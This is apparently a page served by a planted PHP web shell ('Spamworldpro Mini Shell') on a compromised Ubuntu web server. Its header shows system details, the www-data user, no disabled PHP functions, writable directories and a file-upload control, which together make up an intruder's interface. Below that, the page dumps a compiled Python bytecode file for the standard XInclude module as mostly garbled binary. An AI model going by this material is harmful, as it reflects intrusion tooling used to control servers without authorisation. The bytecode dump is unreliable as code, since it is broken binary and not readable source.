Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3.10/xml/etree/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.10/xml/etree/__pycache__/ElementInclude.cpython-310.pyc
o

�*�g��@s~ddlZddlmZddlmZdZedZedZdZGd	d
�d
e	�Z
Gdd�de
�Zdd
d�Zddefdd�Z
dd�ZdS)�N�)�ElementTree)�urljoinz!{http://www.w3.org/2001/XInclude}�include�fallback�c@�eZdZdS)�FatalIncludeErrorN��__name__�
__module__�__qualname__�rr�//usr/lib/python3.10/xml/etree/ElementInclude.pyr	C�r	c@r)�LimitedRecursiveIncludeErrorNr
rrrrrGrrcCs�|dkr#t|d��}t�|���}Wd�|S1swY|S|s'd}t|d|d��
}|��}Wd�|S1s>wY|S)N�xml�rbzUTF-8�r)�encoding)�openr�parse�getroot�read)�hrefrr�file�datarrr�default_loaderWs
���

��rcCsV|durd}n
|dkrtd|��t|d�r|��}|dur t}t||||t��dS)N���rz;expected non-negative depth or None for 'max_depth', got %rr)�
ValueError�hasattrrr�_include�set)�elem�loader�base_url�	max_depthrrrrts
cCs�d}|t|�kr�||}|jtkr�|�d�}|rt||�}|�dd�}|dkrv||vr1td|��|dkr;td|��|�|�|||�}	|	durQtd||f��t�|	�}	t	|	|||d|�|�
|�|jrq|	jpld	|j|	_|	||<nX|d
kr�||||�d��}
|
dur�td||f��|jr�|
|j7}
|r�||d}	|	jp�d	|
|	_n|jp�d	|
|_||=qtd|��|jt
kr�td
|j��t	|||||�|d7}|t|�ksdSdS)Nrrrrzrecursive include of %sz5maximum xinclude depth reached when including file %szcannot load %r as %rr��textrz)unknown parse type in xi:include tag (%r)z0xi:fallback tag must be child of xi:include (%r))�len�tag�XINCLUDE_INCLUDE�getrr	r�add�copyr!�remove�tailr(�XINCLUDE_FALLBACK)r#r$r%r&�
_parent_hrefs�i�err�noder(rrrr!�sf


�


�



�
�
��r!)N)r.r'r�urllib.parser�XINCLUDEr+r1�DEFAULT_MAX_INCLUSION_DEPTH�SyntaxErrorr	rrrr!rrrr�<module>s2

�

Spamworldpro Mini